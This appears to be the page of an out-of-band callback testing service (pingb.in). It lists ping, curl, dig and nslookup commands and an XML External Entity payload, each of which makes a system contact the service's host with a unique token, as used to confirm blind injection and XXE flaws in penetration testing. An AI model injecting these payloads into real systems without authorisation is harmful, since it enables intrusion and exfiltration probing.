$ ping -c1 -p 008d649466537733bf5fdf511db14a00 pingb.in
 
$ curl pingb.in/p/8d649466537733bf5fdf511db14a
 
$ dig 8d649466537733bf5fdf511db14a @pingb.in
 
$ dig 8d649466537733bf5fdf511db14a.ns.pingb.in
 
C:\> nslookup 8d649466537733bf5fdf511db14a pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/8d649466537733bf5fdf511db14a">]>
    <foo>&xxe;</foo>
 
Waiting for ping...